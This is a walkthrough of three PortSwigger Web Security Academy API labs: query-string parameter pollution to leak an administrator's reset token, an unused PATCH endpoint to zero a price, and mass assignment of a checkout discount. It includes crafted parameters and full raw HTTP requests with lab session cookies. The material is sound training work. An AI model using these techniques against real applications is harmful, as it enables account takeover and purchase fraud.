Practitioner · updated

API testing

PortSwigger Web Security Academy · Practitioner

  • #API
LevelsApprenticePractitionerExpert

Exploiting Server-Side Parameter Pollution in a Query String

The vulnerability

The server adds the username from the password reset form to the query string of an internal request. With an encoded & or # you can add your own parameters and get the administrator’s reset token.

Fix: Encode user input before it goes into another request.

The lab

Open the lab on PortSwigger

To solve the lab, log in as the administrator and delete carlos.

Solution

1. Start Password Reset for Administrator: On the application, use the “Forgot password?” function and enter administrator as the username.

2. Intercept Forgot Password Request: In Burp Suite, go to Proxy → HTTP history. Find the POST /forgot-password request and right-click to Send to Repeater.

3. Test for Parameter Pollution — Invalid Username: In Repeater, set the username parameter to an invalid value (e.g., username=invaliduser). Send the request. Look at the 404 Bad Request response with an Invalid username error.

4. Test for Parameter Pollution — Multiple Parameters: Add a second parameter-value pair using the URL-encoded ampersand (%26) to the correct username (e.g., username=administrator%26x=y). Send the request. A 400 Bad Request with Parameter is not supported. indicates that the backend is processing multiple parameters.

5. Test for Parameter Pollution — Field Manipulation: Replace %26 with a URL-encoded hash (%23) (e.g., username=administrator%23x=y). Send the request. A 404 Bad Request with Field not specified suggests that the # character might be truncating or modifying the field processed on the server-side.

6. Brute-Force for Valid Field Names: Send the POST /forgot-password request (with username=administrator%26field=y) to Burp Intruder.

  • Set the position for the y in field=y.
  • Ensure a URL-encoded hash (%23) is at the end of the username parameter (e.g., username=administrator%23field=y).
  • In the Payloads section, select Add from list... -> Server-side variable name to load a common list of variable names.
  • Run the attack.

7. Identify Valid Fields: Look at Intruder’s results. Look for requests that return a HTTP 200 OK status code. Common valid fields often include email and username.

8. Confirm email as a Valid Field: In Burp Repeater, change the value of the field key to email (e.g., username=administrator%26field=email). Send the request. A 200 OK confirms email is a valid field, but doesn't disclose information.

9. Discover and Extract reset_token: Look at the forgotPassword.js file (in Burp's HTTP history). Look for variables related to password resets. You might find a reset_token field. In Repeater, replace email with reset_token in the field key (e.g., username=administrator%26field=reset_token). Send the request. The 200 OK response will now contain the administrator's reset_token in the JSON response:

{
 "result":"rditgllefneh0uhtwp528bge3i3razhl",
 "type":"reset_token"
}

10. Reset Administrator’s Password and Solve Lab: The forgotPassword.js will also specify the reset URL pattern: /forgot-password?reset_token=${resetToken}. In your web browser, go to this URL, replacing ${resetToken}with the token you extracted. This will allow you to set a new password for the administrator account. Once the password is changed, log in as administrator with the new password, access the admin panel, and delete the user carlos to solve the lab.

Finding and Exploiting an Unused API Endpoint

The vulnerability

The shop only reads prices from the API. The same endpoint also accepts PATCH, and any user can set the price to zero.

Fix: Switch off methods you don’t use, and check permissions on the rest.

The lab

Open the lab on PortSwigger

To solve the lab, exploit a hidden API endpoint to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials: wiener:peter.

Solution

1. Log In to the Application: Log in to the website using the provided credentials: wiener:peter.

2. Add Item to Basket and Observe Request: Go to the home page, add the Lightweight ‘l33t’ Leather Jacket to your basket.

3. Identify API Endpoint and Send to Repeater: In Burp Suite, go to Proxy → HTTP history. Find a relevant API GET request, such as GET /api/products/1/price, and right-click to Send to Repeater.

4. Discover Allowed Methods via OPTIONS: In Repeater, change the HTTP method from GET to OPTIONS and send the request. The HTTP/2 405 Method Not Allowed response will reveal the allowed methods for this endpoint (e.g., Allow: GET, PATCH). This confirms PATCH is a potentially exploitable method.

5. Test PATCH Method with JSON Content-Type: Change the HTTP method to PATCH. Send the request. You should receive a HTTP/2 400 Bad Request with an error indicating Only ‘application/json’ Content-Type is supported.

6. Provide application/json Content-Type: Add the Content-Type: application/json header and an empty JSON body {} to the request. Send it. You'll then receive another HTTP/2 400 Bad Request with an error like price parameter missing in body.

7. Exploit Price Modification Endpoint: Add the price parameter to the JSON body with a value of 0 (e.g., {"price":0}).

PATCH /api/products/1/price HTTP/2 
Host: 0a27006304f6a142824298ff001e0092.web-security-academy.net 
Cookie: session=nyhJeVpDZyOqSpjlDKzPuGKGKuv74ScW 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0 
Accept: */* 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate, br 
Referer: https://0a27006304f6a142824298ff001e0092.web-security-academy.net/product?productId=1 
Sec-Gpc: 1 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-origin 
Priority: u=4 
Te: trailers 
Content-Type: application/json 
Content-Length: 2  

{ 
  "price":0 
}

Send the request. You should receive a HTTP/2 200 OK response.

8. Purchase Item for Free and Solve Lab: Go back to the website. Remove the Lightweight ‘l33t’ Leather Jacket from your basket if it’s there. Go to Home or the product page. The jacket’s price will now be $0.00. Add it to your basket and proceed to checkout to solve the lab.

Exploiting a mass assignment vulnerability

The vulnerability

When you load the cart, the API also returns a discount field. The checkout never sends it, but accepts it if you do. With a 100% discount, the jacket is free.

Fix: Only accept the fields a customer is allowed to set.

The lab

Open the lab on PortSwigger

To solve the lab, find and exploit a mass assignment vulnerability to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials: wiener:peter.

Solution

1. Log In and Add Item to Basket: Log in to the website using the provided credentials: wiener:peter. Add the "Lightweight 'l33t' Leather Jacket" to your basket and proceed to the basket/cart page.

2. Observe Checkout API Calls: In Burp Suite’s Proxy → HTTP history, look at the API calls made when viewing or updating the basket. You'll likely see a GET /api/checkout request (retrieving current basket state) and a POST /api/checkout request (updating the basket or proceeding).

  • Example GET /api/checkout response:
HTTP/2 200 OK 
Content-Type: application/json; 
charset=utf-8 
X-Content-Type-Options: nosniff 
X-Frame-Options: SAMEORIGIN 
Content-Length: 153  

{
   "chosen_discount":{      
      "percentage":0   
   },
   "chosen_products":[
      {
         "product_id":"1",
         "name":"Lightweight \"l33t\" Leather Jacket",
         "quantity":1,
         "item_price":133700
      }
   ]
}
  • Example POST /api/checkout request:
POST /api/checkout HTTP/2 
Host: 0acc003303be32cd828fc449006b00e5.web-security-academy.net 
Cookie: session=KlwyZHX662EJJdYqWZYwMuqT0w7BwoPE 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0 
Accept: */* 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate, br 
Referer: https://0acc003303be32cd828fc449006b00e5.web-security-academy.net/cart 
Content-Type: text/plain;charset=UTF-8 
Content-Length: 53 
Origin: https://0acc003303be32cd828fc449006b00e5.web-security-academy.net 
Sec-Gpc: 1 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-origin 
Priority: u=0 
Te: trailers  

{
   "chosen_products":[
      {
         "product_id":"1",
         "quantity":1
      }
   ]
}

3. Send POST /api/checkout to Repeater: Right-click the POST /api/checkout request and Send to Repeater.

4. Identify and Inject Unexposed Parameter: Compare the JSON structure of the GET /api/checkout response with the POST /api/checkout request. Notice the chosen_discount parameter in the GET response that is not present in the POST request. This is a potential mass assignment target. Add the chosen_discount object to your POST request body, initially with percentage:0.

POST /api/checkout HTTP/2 
Host: 0acc003303be32cd828fc449006b00e5.web-security-academy.net 
Cookie: session=KlwyZHX662EJJdYqWZYwMuqT0w7BwoPE 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0 
Accept: */* 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate, br 
Referer: https://0acc003303be32cd828fc449006b00e5.web-security-academy.net/cart 
Content-Type: application/json;charset=UTF-8 
Content-Length: 53 
Origin: https://0acc003303be32cd828fc449006b00e5.web-security-academy.net 
Sec-Gpc: 1 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-origin 
Priority: u=0 
Te: trailers  

{
   "chosen_discount":{
      "percentage":0
   },
   "chosen_products":[
      {
         "product_id":"1",
         "quantity":1
      }
   ]
}

Send the request. The response might indicate INSUFFICIENT_FUNDS or similar, but no error related to the new parameter.

5. Apply 100% Discount and Solve Lab: Change the percentage value within chosen_discount to 100. Send the request again.

{
   "chosen_discount":{
      "percentage":100
   },
   "chosen_products":[
      {
         "product_id":"1",
         "quantity":1
      }
   ]
}

The response should now include "order_confirmed":true or similar, indicating the purchase was made with a 100% discount, thus solving the lab.